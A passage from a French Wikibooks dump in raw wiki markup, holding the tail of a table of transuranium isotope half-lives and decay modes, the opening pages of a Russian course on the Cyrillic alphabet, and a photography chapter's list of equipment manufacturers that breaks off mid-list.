432.2 a || 5/2- || %α=100, %SF=4.3E-10 |- |241m1Am || 1.2 μs || || |- |242Am || 16.02 h || 1- || %β-=82.7 , %K=17.3 |- |242m1Am || 141 a || 5- || %IT=99.541 , %α=0.459 , %SF < 4.7E-9 |- |242m2Am || 14.0 ms || || %SF=?, %IT=? |- |243Am || 7370 a || 5/2- || %α=100, %SF=3.7E-9 |- |243m1Am || 5.5 μs || || |- |244Am || 10.1 h || (6-) || %β-=100 |- |244m1Am || 26 m || 1+ || %β-=99.9639 , %K=0.0361 |- |245Am || 2.05 h || (5/2)+ || %β-=100 |- |245m1Am || 0.64 μs || || |- |246Am || 39 m || (7-) || %β-=100 |- |246m1Am || 25.0 m || 2(-) || %β-=100, %IT<0.01 |- |246m2Am || 73 μs || || |- |247Am || 23.0 m || (5/2) || %β-=100 |} ==[[Curium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |238Cm || 2.4 h || 0+ || %K=96.16 , %α=3.84 |- |239Cm || 2.9 h || (7/2- ) || %K= 100, %α < 0.1 |- |240Cm || 27 d || 0+ || %α > 99.5 , %K < 0.5 , %SF=3.9E-6 |- |241Cm || 32.8 d || 1/2+ || %K=99.0 , %α=1.0 |- |241m1Cm || 15.3 ns || || |- |242Cm || 162.8 d || 0+ || %α=100, %SF=6.37E-6 |- |242m1Cm || 40 ps || || |- |242m2Cm || 0.18 μs || || |- |243Cm || 29.1 a || 5/2+ || %α=99.71 , %K=0.29 , %SF=5.3E-9 |- |243m1Cm || 42 ns || || |- |244Cm || 18.10 a || 0+ || %α=100, %SF=1.371E-4 |- |244m1Cm || 34 ms || 6+ || %IT=100, %SF < 7.7E-10 |- |245Cm || 8500 a || 7/2+ || %α=100, %SF=6.1E-7 |- |245m1Cm || 13.2 ns || || |- |246Cm || 4730 a || 0+ || %α=99.9737 , %SF=0.0263 |- |247Cm || 1.56e+7 a || 9/2- || %α=100 |- |248Cm || 3.40e+5 a || 0+ || %α=91.61 , %SF=8.39 |- |249Cm || 64.15 m || 1/2(+) || %β-=100 |- |250Cm || 9000 a || 0+ || %SF ~ 86, %α ~ 8, %β- ~ 6 |- |251Cm || 16.8 m || (1/2+ ) || %β-=100 |- |252Cm || 2 d || 0+ || %β-=100 |} ==[[Berkelium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |238Bk || 144 s || || %K+%β+=100, %KSF=0.048 |- |239Bk || || (7/2+ ) || |- |240Bk || 4.8 m || || %K+%β+=100, %KSF=1E-3 sys |- |241Bk || || (7/2+ ) || |- |242Bk || 7.0 m || || %K+%β+=100 |- |242m1Bk || 9.5 ns || || |- |242m2Bk || 0.60 μs || || |- |243Bk || 4.5 h || (3/2- ) || %K ~ 99.85, %α ~ 0.15 |- |243m1Bk || 5 ns || || |- |244Bk || 4.35 h || (1- ) || %K=99.994 , %α=0.006 |- |245Bk || 4.94 d || 3/2- || %K=99.88 , %α=0.12 |- |245m1Bk || 2 ns || || |- |246Bk || 1.80 d || 2(-) || %K=100, %α<0.2 sys |- |247Bk || 1380 a || (3/2- ) || %α < 100 |- |248Bk || 9 a || (6+) || %α>70 |- |248m1Bk || 23.7 h || 1(-) || %β-=70 , %K=30 , %α<0.001 |- |249Bk || 320 d || 7/2+ || %β-=99.99855 , %α=0.00145 , %SF=4.76E-8 |- |250Bk || 3.217 h || 2- || %β-=100 |- |251Bk || 55.6 m || (3/2- ) || %β-=100, %α ~ 1E-5 |} ==[[Californium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |237Cf || 2.1 s || || %SF ~ 10 sys |- |238Cf || 21 ms || 0+ || %SF ~ 100 sys |- |239Cf || 39 s || || %α=? |- |240Cf || 1.06 m || 0+ || %α=87 , %SF ~ 13 |- |241Cf || 3.78 m || || %K ~ 75, %α ~ 25 |- |242Cf || 3.49 m || 0+ || %α=65 , %SF < 1.4E-2 |- |243Cf || 10.7 m || (1/2+ ) || %K ~ 86, %α ~ 14 |- |244Cf || 19.4 m || 0+ || %α=70 |- |245Cf || 45.0 m || (5/2+ ) || %K=64 , %α=36 |- |246Cf || 35.7 h || 0+ || %α=99.9996 , %SF=2.3E-4 , %K<5E-4 |- |246m1Cf || 45 ns || || |- |247Cf || 3.11 h || (7/2+ ) || %K=99.965 , %α=0.035 |- |248Cf || 333.5 d || 0+ || %α=99.9971 , %SF=0.0029 |- |249Cf || 351 a || 9/2- || %α=100, %SF=4.4E-7 |- |250Cf || 13.08 a || 0+ || %α=99.923 , %SF=0.077 |- |251Cf || 898 a || 1/2+ || %α=100 |- |252Cf || 2.645 a || 0+ || %α=96.908 , %SF=3.092 |- |253Cf || 17.81 d || (7/2+ ) || %β-=99.69 , %α=0.31 |- |254Cf || 60.5 d || 0+ || %SF=99.69 , %α=0.31 |- |255Cf || 85 m || (9/2+ ) || %β-=100 |- |256Cf || 12.3 m || 0+ || %SF=100, %β-<1 sys %α ~ 1E-6 sys |} ==[[Einsteinium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |241Es || 9 s || || %α=100 |- |242Es || 40 s || || %α ~ 100, %KSF=1.4 |- |243Es || 21 s || || %K < 70, %α > 30 |- |244Es || 37 s || || %K=96 , %α=4 , %KSF=0.01 sys |- |245Es || 1.1 m || (3/2- ) || %K=60 , %α=40 |- |246Es || 7.7 m || (4-,6+) || %K=90.1 , %α=9.9 , %KSF=0.003 sys |- |247Es || 4.55 m || (7/2+ ) || %K ~ 93, %α ~ 7 |- |248Es || 27 m || (2-,0+ ) || %K>99, %α ~ 0.25, %KSF=3E-5 sys |- |249Es || 102.2 m || 7/2(+) || %K=99.43 , %α=0.57 |- |250Es || 8.6 h || (6+) || %K > 97, %α < 3 sys |- |250m1Es || 2.22 h || 1(-) || %K > 99, %α < 1 sys |- |251Es || 33 h || (3/2- ) || %K=99.51 , %α=0.49 |- |252Es || 471.7 d || (5-) || %α=76 , %K=24 , %β- ~ 0.01 |- |253Es || 20.47 d || 7/2+ || %α=100, %SF=8.9E-6 |- |254Es || 275.7 d || (7+) || %α=100, %K<1E-4, %β-=1.74E-6 , %SF<3E-6 |- |254m1Es || 39.3 h || 2+ || %β-=98 , %α=0.33 , %IT<3, %K=0.078 , %SF<0.045 |- |255Es || 39.8 d || (7/2+ ) || %β-=92.0 , %α=8.0 , %SF=0.0045 |- |256Es || 25.4 m || (1+ ) || %β-=100 |- |256m1Es || 7.6 h || (8+) || %β- ~ 100, %β-SF=0.002 |} ==[[Fermium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |242Fm || 0.8 ms || 0+ || %SF=100 |- |243Fm || 0.18 s || || %α < 100, %SF < 0.5, %K=? |- |244Fm || 3.3 ms || 0+ || %SF=100 |- |245Fm || 4.2 s || || %α=100, %SF < 0.11 |- |246Fm || 1.1 s || 0+ || %α=92 , %SF=7.3 , %K<1 sys |- |247Fm || 35 s || || %α > 50, %K+%β+ < 50 |- |247m1Fm || 9.2 s || || %α < 100 |- |248Fm || 36 s || 0+ || %α=93 , %K ~ 7, %SF=0.10 |- |249Fm || 2.6 m || (7/2+ ) || %K ~ 85 sys %α ~ 15 sys |- |250Fm || 30 m || 0+ || %α>90, %K<10, %SF=0.0069 |- |250m1Fm || 1.8 s || || %IT>80, %SF < 8E-5 |- |251Fm || 5.30 h || (9/2- ) || %K=98.20 , %α=1.80 |- |252Fm || 25.39 h || 0+ || %α=99.9977 , %SF=0.00232 |- |253Fm || 3.00 d || 1/2+ || %K=88 , %α=12 |- |254Fm || 3.240 h || 0+ || %α=99.9408 , %SF=0.0592 |- |255Fm || 20.07 h || 7/2+ || %α=100, %SF=2.3E-5 |- |256Fm || 157.6 m || 0+ || %SF=91.9 , %α=8.1 |- |257Fm || 100.5 d || (9/2+ ) || %α=99.790 , %SF=0.210 |- |258Fm || 370 μs || 0+ || %SF=100 |- |259Fm || 1.5 s || || %SF=100 |} ==[[Mendelevium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |245Md || 0.35 s || (7/2) || %α=100 |- |245m1Md || 0.90 ms || (1/2- ) || |- |246Md || 1.0 s || || %α=100 |- |247Md || 1.12 s || || %α=80 , %SF=20 |- |248Md || 7 s || || %K=80 , %α=20 , %SF < 0.05 |- |249Md || 24 s || || %K=80 , %α=20 |- |250Md || 52 s || || %K=93 , %α=7 , %KSF=0.02 sys |- |251Md || 4.0 m || || %K > 90, %α < 10 |- |252Md || 2.3 m || || %K>50, %α<50 |- |253Md || 6 m || || %K+%β+=100 |- |254Md || 10 m || || %K < 100 |- |254m1Md || 28 m || || %K < 100 |- |255Md || 27 m || (7/2- ) || %K=92 , %α=8 , %SF < 1.4 |- |256Md || 78.1 m || (0-,1- ) || %K=90.7 , %α=9.3 , %SF < 2.8 |- |257Md || 5.52 h || (7/2- ) || %K=85 , %α=15 , %SF<1 |- |258Md || 51.5 d || (8-) || %α=100, %SF < 0.003, %β- < 0.003, %K < 0.003 |- |258m1Md || 57.0 m || (1- ) || %K > 70, %SF < 30, %α < 1.2, %β- < 30 |- |259Md || 96 m || (7/2- ) || %SF ~ 100, %α<1.3 |- |260Md || 31.8 d || || %SF>73, %α < 25, %β- < 10 |} ==[[Nobelium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |250No || 0.25 ms || 0+ || %SF=100, %α ~ 0.05 sys |- |251No || 0.8 s || || %α ~ 100, %K ~ 1 sys%SF < 8 |- |252No || 2.30 s || 0+ || %α=73.1 , %SF=26.9 |- |253No || 1.7 m || (9/2- ) || %α ~ 80, %K ~ 20 sys |- |254No || 55 s || 0+ || %α=90 , %K=10 , %SF=0.17 |- |254m1No || 0.28 s || || %IT>80 |- |255No || 3.1 m || (1/2+ ) || %α=61.4 , %K=38.6 |- |256No || 2.91 s || 0+ || %α=99.5 , %SF=0.53 +8-4 |- |257No || 25 s || (7/2+ ) || %α ~ 100 |- |258No || 1.2 ms || 0+ || %SF=100, %α ~ 1E-3 sys |- |259No || 58 m || (9/2+ ) || %α=75 , %K=25 , %SF<10 |- |260No || 106 ms || 0+ || %SF=100 |- |261No || || || |- |262No || 5 ms || 0+ || %SF=? |} ==[[Lawrencium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |253Lr || 1.3 s || || %α=98 , %K ~ 1 sys%SF < 1 |- |254Lr || 13 s || || %α=78 , %K=22 , %SF < 0.16 |- |255Lr || 22 s || || %α=85 , %K<30, %SF<0.10 |- |256Lr || 28 s || || %α>80, %K<20, %SF<0.026 |- |257Lr || 0.646 s || (9/2+ ) || %α=100, %SF < 6.5E-4 |- |258Lr || 3.9 s || || %α>95, %K<5, %SF < 5.0 |- |259Lr || 6.3 s || || %α=77 , %SF=23 , %K<0.5 |- |260Lr || 180 s || || %α=75 , %K=25 |- |261Lr || 39 m || || %SF < 100 |- |262Lr || 216 m || || %SF<10 |} ==[[Rutherfordium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |253Rf || 1.8 s || || %SF ~ 50, %α ~ 50 |- |253m1Rf || 50 μs || || |- |254Rf || 0.5 ms || 0+ || %SF=100, %α ~ 0.3 sys |- |254m1Rf || 23 μs || || |- |255Rf || 1.5 s || (9/2- ) || %SF=52 , %α=48 |- |256Rf || 6.7 ms || 0+ || %SF=98 +2- 7 , %α=2.2 +73-18 |- |257Rf || 4.7 s || (7/2+ ) || %α=79.6 , %K=18 , %SF=2.4 |- |258Rf || 12 ms || 0+ || %SF ~ 87, %α ~ 13 |- |259Rf || 3.1 s || || %α=93 , %SF=7 , %K ~ 0.3 |- |260Rf || 20.1 ms || 0+ || %SF=100 |- |261Rf || 65 s || || %α>80, %SF<10, %K < 10 sys |- |262Rf || 2.1 s || 0+ || %SF=100 |- |262m1Rf || 47 ms || [2+ ] || |} ==[[Dubnium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |255Db || 1.6 s || || %α>47, %SF < 53 |- |256Db || 2.6 s || || %SF < 40, %α ~ 70, %K ~ 10 sys |- |257Db || 1.3 s || || %α=82 , %SF=17 , %K=1 sys |- |258Db || 4.4 s || || %α=67 +5-9 , %K=33 +9-5, %SF<34 |- |258m1Db || 20 s || || %K ~ 100 |- |259Db || || || |- |260Db || 1.52 s || || %α > 90.4 , %SF ~ 9.6 , %K<2.5 |- |261Db || 1.8 s || || %α>50, %SF<50 |- |262Db || 34 s || || %α ~ 64, %SF ~ 33, %K ~ 3 sys |- |263Db || 27 s || || %SF=57 , %α=43 |} ==[[Seaborgium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |258Sg || 2.9 ms || 0+ || %SF=100 |- |259Sg || 0.48 s || (1/2+ ) || %α=90 , %SF < 20 |- |260Sg || 3.6 ms || 0+ || %α=50 +30-20 , %SF=50 +20-30 |- |261Sg || 0.23 s || || %α=95 , %SF<10 |- |262Sg || || 0+ || |- |263Sg || 0.8 s || || %SF ~ 70, %α ~ 30 |- |263m1Sg || 0.31 s || [9/2+] || |- |264Sg || || 0+ || |- |265Sg || 10 s || [1/2+ ] || %α>50, %SF<50 |- |266Sg || 21 s || 0+ || %α=50 , %SF=50 |} ==[[Bohrium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |261Bh || 11.8 ms || || %α=95 , %SF<10 |- |262Bh || 102 ms || || %α > 80, %SF < 20 |- |262m1Bh || 8.0 ms || || %α > 70, %SF < 30 |- |263Bh || || || |- |264Bh || 0.44 s || || %α=100 |} ==[[Hassium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |264Hs || 0.85 ms || 0+ || %α ~ 100, %SF < 1.5 |- |265Hs || 0.9 ms || || %α=? |- |265m1Hs || 1.55 ms || [1/2+ ] || %α ~ 100, %SF<9 |- |266Hs || || 0+ || |- |267Hs || 26 ms || [9/2+ ] || %α=100 |- |268Hs || || 0+ || |- |269Hs || 9 s || [3/2+ ] || %α=100 |} ==[[Meitnerium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |266Mt || 0.8 ms || || %α=100 |- |266m1Mt || 3.8 ms || || %α=100, %SF < 5.5 |- |267Mt || || || |- |268Mt || 0.07 s || [5+,6+] || %α=100 |} ==[[Darmstadtium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |267Ds || 3 μs || [11/2- ] || %α=100 |- |268Ds || || 0+ || |- |269Ds || 0.17 ms || [1/2+ ] || %α=100 |- |270Ds || || 0+ || |- |271Ds || 0.06 s || [3/2+ ] || %α=100 |- |271m1Ds || 1.1 ms || [9/2+ ] || %α=100 |- |272Ds || || 0+ || |- |273Ds || 0.18 ms || [3/2+ ] || %α=100 |- |273m1Ds || 120 ms || [13/2- ] || %α=100 |} ==[[Roentgenium]]== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |272Rg || 1.5 ms || [5+,6+] || %α=100 |} ==112== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |277112 || 0.24 ms || [3/2+ ] |} ==114== {| {{prettytable}} |- {{highlight1}} ! Isotope !! période radioactive !! parité de rotation !! type de décomposition (en) ou fréquence |- |285114 || 0.58 ms || %α=? |} Enseignement du russe 6094 29933 2006-01-23T12:19:54Z Boly38 136 cat Langue +ébauche début {{ébauche}} Ceci est un travail en cours, mais il peut vous aider dans l'apprentissage du russe. N'hésitez pas à ajouter des éléments ou à corriger des erreurs (En français comme en Russe). ==Добрó пожáловать!== * [[Russe:Leçon 1|Leçon 1]] - L'alphabet, et des mots similaires à l'anglais/au français, noms communs et lieux * [[Russe:Leçon 2|Leçon 2]] - Se présenter * [[Russe:Leçon 3|Leçon 3]] - Grammaire de base * [[Russe:Lesson 4|Leçon 4]] * [[Russe:Vocabulaire et expressions utiles|Vocabulaire et expressions utiles]]. Cfr. [[Russe:Alphabet|alphabet]] pour une présentation de l'alphabet et de la prononciation. Cet article contient égelament des informations concernant l'écriture des caractères Cyriliques. Самый лучший на Земле интернет-урок русского языка! ---- ===Grammaire=== [[Image:Russia flag 300.png|thumb|right|250px|Le drapeau Russe]] * [[Russe:Nombres|Nombres]] * [[Russe:Déclinaisons|Déclinaisons]] * [[Russe:Adjectifs|Adjectifs]] * [[Russe:Conjugaisons|Conjugaisons]] * [[Russe:Prépositions|Prépositions]] * [[Russe:Verbes|Verbes]] * Pronoms ** [[Russe:Pronoms interrogatifs|Pronoms interrogatifs]] ** [[Russe:Pronoms personels|Pronoms personels]] ** [[Russe:Pronoms possessifs|Pronoms possessifs]] ---- [[Russe:Ressources internet|Ressources internet]] {{Languages bookshelf}} [[Russe:Auteurs|Auteurs]] [[Catégorie:Langue|Russe]] [[en:Russian]] [[de:Russisch]] [[el:Ρωσικά]] [[nl:Russisch]] [[pl:Rosyjski]] Russe:Leçon 1 6095 28191 2006-01-03T23:17:03Z 85.218.8.235 ы Avant toutes choses, il est nécessaire d'apprendre à lire et éventuellement écrire l'[[w:Alphabet cyrillique|alphabet cyrillique]]. Cette alphabet est également utilisé par d'autres langues Slaves et non-Slaves soviétiques. L'alphabet possède de nombreuses similarités avec les alphabets latins et grecs. De prime à bord, l'alphabet cyrillique peut paraitre fort intimidant mais après un peu de pratique, il devient rapidement aussi facile à lire que le latinA. Certaines lettres sont similaires à l'alphabet latin et se prononcent de manière similaire : * А а * К к * М м * О о * Т т (italique ou cursive&thinsp;: <span lang="ru" style="font-family: serif;">''т''</span>) D'autres sont similaires mais se prononcent différement : * В в - comme '''''v''''' en français * Е е - entre '''''ié''''' et '''''iè''''' * Ё ё - '''''yo''''' * Р р - '''''r''''' [[w:Consonne roulée|roulé]] (du grec ''rho'', "&rho;") * У у - '''''ou''''' (du [[w:digramme|digramme]] grec "&omicron;&upsilon;") * С с - '''''s''''' * Н н - '''''n''''' * Х х - '''''h''''' dur (plus dur qu'en allemand, presque '''''k''''', d'où la [[w:translittération|translittération]] '''''kh'''''), son [[w:guttural|guttural]] (du grec ''chi'', "&chi;") D'autres caractères sont complètement différents : * Л л - '''''l''''' dur (du grec ''lambda'', "&lambda;") * Ц ц - '''''ts''''', comme dans ''{{Guil|'''ts'''unami}}'' * Ч ч - '''''tch''''', comme '''tch'''ou-'''tch'''ou'' * Я я - '''''ya''''' lié * Ы ы - '''''i''''' dur (guttural), proche du '''''é''''' dans ''{{Guil|m'''é'''andre}}'' ou du '''''e''''' anglais dans ''{{Guil|[[wikt:en:roses|ros'''e'''s]]}}'' (en décontractant les muscles de la bouche), très proche du '''''y''''' polonais (d'où cette translittération en écriture latine) * И и - '''''i''''' * Й й - '''''i''''' court, comme dans ''{{Guil|pa'''ill'''e}}'' * П п (cursive&thinsp;: <span lang="ru" style="font-family: serif;">''п''</span>) - '''''p''''' (du grec ''pi'', "&pi;") * Ш ш - '''''ch''''', comme '''''ch'''at'' * Щ щ - '''''chtch''''', comme dans ''{{Guil|mou'''che tch'''èque}}'' (version mouillée de ''ш'') * Э э - '''''è''''' * Д д (cursive&thinsp;: <span lang="ru" style="font-family: serif;">''д''</span>) - '''''d''''' (du grec ''delta'', "&delta;") * Ф ф - '''''f''''' (du grec ''phi'', "&phi;") * Г г (cursive&thinsp;: <span lang="ru" style="font-family: serif;">''г''</span>) - '''''g''''', comme dans ''{{Guil|'''g'''arage}}'' (du grec ''gamma'', "&gamma;") * Ю ю - '''''you''''', comme '''''you'''pie'' * З з - '''''z''''', comme '''''z'''oo'' * Ж ж - '''''g''''', comme dans ''{{Guil|'''g'''éant}}'' * Б б - '''''b''''' * Ъ ъ - signe dur * Ь ь - signe mou Il y a 10 voyelles dans l'alphabet Cyrillique russe : А/а, Е/е, Ё/ё, И/и, О/о, У/у, Ы/ы, Э/э, Ю/ю, and Я/я. Quasi toutes les autres lettres sont des consonnes. "ъ" et "ь" ne sont ni des voyelles ni des consonnes - leur présence dans un mot modifie la prononciation de la consonne précédente. On reviendra sur ces points dans les leçons suivantes. Voici l'alphabet dans l'ordre: <div style="margin: 4px;padding: 4px;width:80%;border:solid #999 1px;background:#F8F8F8;margin:0.5em auto;clear:both; text-align: center;"> Аа Бб Вв Гг Дд Ее Ёё Жж Зз Ии Йй Кк Лл Мм Нн Оо Пп Рр Сс Тт Уу Фф Хх Цц Чч Шш Щщ ъ ы ь Ээ Юю Яя <span lang="ru" style="font-family: serif;">''Аа Бб Вв Гг Дд Ее Ёё Жж Зз Ии Йй Кк Лл Мм Нн Оо Пп Рр Сс Тт Уу Фф Хх Цц Чч Шш Щщ ъ ы ь Ээ Юю Яя''</span> </div> {{Audio|RU-alfavit.ogg}} ==Quelques mots sont très similaire entre le russe et l'anglais/le français== Essayez de prononcer les mots suivant (traduits en Anglais pour le moment) : * актёр - actor * банк - bank * ветеринáр - veterinarian * гарáж - garage * диалéкт - dialect * Еврóпа - Europe * зигзáг - zigzag * инженéр - engineer * компью́тер - computer * лáмпа - lamp * микроскóп - microscope * негати́в - negative * оптими́ст - optimist * парк - park * ресторáн - restaurant * студéнт - student * телеви́зор - television * университéт - university * факт - fact * хор - choir <!-- maybe there is a better one--> * центр - centre * чемпиóн - champion * шанс - chance ==Nom communs== Vous trouverez ici une liste de noms Russes bien connu dans nos contrées. Essayez de les prononcer avant de suivre le lien. <!-- patronymics omitted.. would make the names hard for Westerners to recognize --> * [[w:Aleksandr Pushkin|Алекса́ндр Пу́шкин]] * [[w:Mikhail Lermontov|Михаи́л Ле́рмонтов]] * [[w:Fyodor Dostoyevsky|Фё́дор Достое́вский]] * [[w:Nikolay Gogol|Никола́й Го́голь]] * [[w:Leo Tolstoy|Лев Толсто́й]] * [[w:Anton Chekhov|Анто́н Че́хов]] * [[w:Konstantin Tsiolkovsky|Константи́н Циолко́вский]] * [[w:Mikhail Lomonosov|Михаи́л Ломоно́сов]] * [[w:Yury Gagarin|Ю́рий Гага́рин]] * [[w:Dmitry Mendeleyev|Дми́трий Менделе́ев]] * [[w:Alexander Popov|Алекса́ндр Попо́в]] * [[w:Anna Kournikova|А́нна Ку́рникова]] * [[w:Mikhail Gorbachev|Михаи́л Горбачё́в]] * [[w:Boris Yeltsin|Бори́с Е́льцин]] * [[w:Vladimir Lenin|Влади́мир Ле́нин]] * [[w:Vladimir Putin|Влади́мир Пу́тин]] * [[w:Pyotr Ilyich Tchaikovsky|Пётр Чайко́вский]] * [[w:Maria Sharapova|Мари́я (Ма́ша) Шара́пова]] * [[w:Anastasia Myskina|Анастаси́я (На́стя) Мы́скина]] * [[w:Vera Zvonareva|Ве́ра Звонарё́ва]] * [[w:Svetlana Kuznetsova|Светла́на (Све́та) Кузнецо́ва]] * [[w:Elena Dementieva|Еле́на (Ле́на) Деме́нтьева]] * [[w:Yevgeny Kafelnikov|Евге́ний (Же́ня) Ка́фельников]] * [[w:Marat Safin|Мара́т Са́фин]] * [[w:Mikhail Youzhny|Михаи́л Ю́жный]] * [[w:Nadezhda Petrova|Наде́жда (На́дя) Петро́ва]] ---- ==Lieux== Voici une liste de lieux en russe "а́тлас": <!-- transliterations from Атлас Офицера, воено-топографическое управление, Москва, 1947 --> <!--Changed 'Лос-Анжелос' to 'Лос-Анджелес', the former is obsolete now - Атлас Офицера, Военно-топографическое управление Генерального Штаба, Москва, 1974 agrees with me --> * [[w:Russia|Росси́я]] * [[w:Moscow|Москва́]] * [[w:St Petersburg|Санкт-Петербу́рг]] * [[w:Washington|Вашингто́н]] * [[w:New York|Нью-Йо́рк]] * [[w:Boston, Massachusetts|Бо́стон]] * [[w:London|Ло́ндон]] * [[w:Los Angeles|Лос-А́нджелес]] * [[w:Paris|Пари́ж]] * [[w:San Francisco|Сан-Франци́ско]] * [[w:Sydney|Сидней]] Photographie - Chapitre 40 - Fabricants de matériels 6098 45997 2006-06-26T22:38:30Z Jean-Jacques MILAN 114 /* . O */ {{Photographie}} {{Photo_40}} == Agrandisseurs == | [[Photographie - 40 - Meopta|Meopta]] | == Appareils et chambres photographiques argentiques classiques == | [[Photographie - 40 - Adox|Adox]] | [[Photographie - 40 - Agfa|Agfa]] | [[Photographie - 40 - Alsaphot|Alsaphot]] | [[Photographie - 40 - Pentax|Asahi Pentax]] | [[Photographie - 40 - Balda|Balda]] | [[Photographie - 40 - Canon|Canon]] | [[Photographie - 40 - Démaria-Lapierre|Démaria-Lapierre]] | [[Photographie - 40 - Fama|Fama]] | [[Photographie - 40 - Hasselblad|Hasselblad]] | [[Photographie - 40 - Ihagee|Ihagee]] | [[Photographie - 40 - King|King]] | [[Photographie - 40 - Kodak|Kodak]] | [[Photographie - 40 - Konica|Konica]] | [[Photographie - 40 - Leitz|Leitz]] | [[Photographie - 40 - Linhof|Linhof]] | [[Photographie - 40 - Minolta|Minolta]] | [[Photographie - 40 - Minox|Minox]] | [[Photographie - 40 - Nikon|Nikon]] | [[Photographie - 40 - Olympus|Olympus]] | [[Photographie - 40 - Pentacon|Pentacon]] | [[Photographie - 40 - Pentax|Pentax]] | [[Photographie - 40 - Pignons|Pignons]] | [[Photographie - 40 - Rollei|Rollei]] | [[Photographie - 40 - Voigtländer|Voigtländer]] | [[Photographie - 40 - Yashica|Yashica]] | [[Photographie - 40 - Zeiss Ikon|Zeiss Ikon]] | == Appareils et chambres pour la photographie « instantanée » == | [[Photographie - 40 - Polaroïd|Polaroïd]] | == Appareils et chambres photographiques argentiques spéciaux et miniaturisés == | [[Photographie - 40 - Concava|Concava]] | [[Photographie - 40 - Goerz|Goerz]] | [[Photographie - 40 - Widelux|Widelux]] | == Appareils et chambres photographiques numériques == | [[Photographie - 40 - Pentax|Asahi Pentax]] | [[Photographie - 40 - BenQ|BenQ]] | [[Photographie - 40 - Canon|Canon]] | [[Photographie - 4O - Casio|Casio]] | [[Photographie - 40 - Fuji|Fuji]] | [[Photographie - 40 - Kodak|Kodak]] | [[Photographie - 40 - Konica-Minolta|Konica-Minolta]] | [[Photographie - 40 - Leitz|Leitz]] | [[Photographie - 40 - Linhof|Linhof]] | [[Photographie - 40 - Minolta|Minolta]] | [[Photographie - 40 - Nikon|Nikon]] | [[Photographie - 40 - Olympus|Olympus]] | [[Photographie - 40 - Panasonic|Panasonic]] | [[Photographie - 40 - Pentax|Pentax]] | [[Photographie - 40 - Ricoh|Ricoh]] | [[Photographie - 40 - Rollei|Rollei]] | [[Photographie - 40 - Samsung|Samsung]] | [[Photographie - 40 - Sony|Sony]] | [[Photographie - 40 - Toshiba|Toshiba]] | == Flashes == | [[Photographie - 40 - Alsaphot|Alsaphot]] | [[Photographie - 40 - Mécablitz-Metz|Mécablitz-Metz]] | [[Photographie - 40 - Sunpak|Sunpak]] | [[Photographie - 40 - Hama|Hama]] | [[Photographie - 40 - Panasonic|Panasonic]] | [[Photographie - 40 - Cobra|Cobra]] | [[Photographie - 40 - Agfa|Agfa]] == Capteurs pour appareils numériques == | [[Photographie - 40 - Kodak|Kodak]] | [[Photographie - 40 - Sunpak|Sunpak]] | == Disques durs fixes ou portatifs == | [[Photographie - 40 - Fujitsu|Fujitsu]] | [[Photographie - 40 - Samsung|Samsung]] | == Matériel de classement et d'archivage == | [[Photographie - 40 - Panodia|Panodia]] | == Objectifs == | [[Photographie - 40 - Angénieux|Angénieux]] | [[Photographie - 40 - Sigma|Sigma]] | [[Photographie - 40 - Som-Berthiot|Som-Berthiot]] | [[Photographie - 40 - Tamron|Tamron]] | [[Photographie - 40 - Carl Zeiss|Carl Zeiss]] == Papiers photographiques == | [[Photographie - 40 - Canson|Canson]] | [[Photographie - 40 - Moab|Moab]] | == Pellicules et plaques == | [[Photographie - 40 - Agfa|Agfa]] | [[Photographie - 40 - Fuji|Fuji]] | [[Photographie - 40 - Ilford|Ilford]] | [[Photographie - 40 - Kodak|Kodak]] | [[Photographie - 40 - Konica|Konica]] | == Posemètres == | [[Photographie - 40 - Bertram|Bertram]] | [[Photographie - 40 - VEB Feingerate Weimar|VEB Feingerate Weimar]] | [[Photographie - 40 - General Electric|General Electric]] | == Projecteurs de diapositives et accessoires == | [[Photographie - 40 - Alsaphot|Alsaphot]] | [[Photographie - 40 - Eiki|Eiki]] | [[Photographie - 40 - Enna|Enna]] | [[Photographie - 40 - Prestinox|Prestinox]] | [[Photographie - 40 - Rollei|Rollei]] | [[Photographie - 40 - Tiranty|Tiranty]] | == Vidéoprojecteurs == == Marques, modèles, etc. par ordre alphabétique == ===. 3 === | [[Photographie - 40 - 3-Dimension Technologie Ltd.|3-Dimension Technologie Ltd.]] | [[Photographie - 40 - 3M Company|3M Company]] ===. A === | [[Photographie - 40 - Ace cameras equipments PVT. Ltd.|Ace cameras equipments PVT. Ltd.]] | [[Photographie - 40 - Acma|Acma]] | [[Photographie - 40 - Acro scientific products Co.|Acro scientific products Co.]] | [[Photographie - 40 - Adams & Westlake Co.|Adams & Westlake Co.]] | [[Photographie - 40 - Adox|Adox]] | [[Photographie - 40 - Agfa|Agfa]] | [[Photographie - 40 - 